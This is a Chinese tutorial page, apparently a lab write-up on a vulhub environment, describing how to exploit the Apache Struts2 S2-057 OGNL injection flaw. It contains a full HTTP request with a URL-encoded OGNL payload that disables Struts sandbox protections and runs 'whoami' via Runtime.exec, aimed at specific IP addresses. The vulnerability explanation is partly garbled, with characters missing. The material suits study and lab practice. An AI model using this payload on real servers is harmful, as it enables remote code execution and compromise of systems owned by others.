当前位置: 首页 > news >正文

struts2框架漏洞攻略

S2-057远程执⾏代码漏洞

vulhub靶 /struts2/s2-057

漏洞简介

漏洞产站配XML时如果有设置namespace且上层动作配有设

或使通配符namespace可能导致远程代漏洞的发⽣同样可能因为url签没有设置valueaction且上层动有设置或使通配符namespace⽽导致远程漏洞的发⽣

S2-057 先决条

alwaysSelectFullNamespace  - 元素未设置名称空间属性或使了通配

uri 传递命名并将其解析OGNL 最终导致远程代漏洞

访问靶机地址:http://121.40.229.129:8081/struts2-showcase/

 url

http://39.105.61.160:8080/struts2-showcase/$%7B(123+123)%7D/actionChain1.action 

刷新可以看到中间数字位置相加了 

 使用Burp抓包当前页面

 发送重放器,按下方修改代码

GET /struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/register2.action HTTP/1.1
Host: 39.105.61.160:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=46FFB76D910A0304B7BA6EB54FEF3585
Upgrade-Insecure-Requests: 1
Priority: u=0, i 

相关文章:

  • Spring Boot3 配置文件
  • maven如何区分多环境配置
  • 尝试在软考62天前开始成为软件设计师-信息系统安全
  • 模糊数学 | 模型 / 集合 / 关系 / 矩阵
  • value-key 的作用
  • C语言为什么不考虑对齐规则?
  • Go常见问题与回答(上)
  • 100天精通Python(爬虫篇)——第122天:基于selenium接管已启动的浏览器(反反爬策略)
  • 机器学习——神经网络、感知机
  • 【AIGC】WIN10极速部署OpenManus(含WEB界面)
  • Linux实操篇-权限管理
  • 【机器学习】什么是支持向量机?
  • [操作系统] 进程间通信:进程池的实现
  • 解读InnoDB数据库索引页与数据行的紧密关联
  • 如何在 React 项目中进行服务器端渲染(SSR),它有什么优势
  • [学成在线]06-视频分片上传
  • BMS电池管理系统上下电过程
  • AVLTree
  • 单片机串口打印调试信息①
  • AI卫浴官:机器学习如何预判您的生理时钟
  • 广东:十年后省级水网主骨架全面建成,与国家骨干网互联互通
  • 2025年上海科技节5月17日启动,56家重点实验室和大科学设施将向公众开放
  • 美元指数上涨超1%重返101上方,创1个月新高
  • 普京提议无条件重启俄乌谈判,外交部:我们支持一切致力于和平的努力
  • “海豚音”依旧互动更多,玛丽亚·凯莉本周来沪开唱
  • 1至4月全国铁路完成固定资产投资1947亿元,同比增长5.3%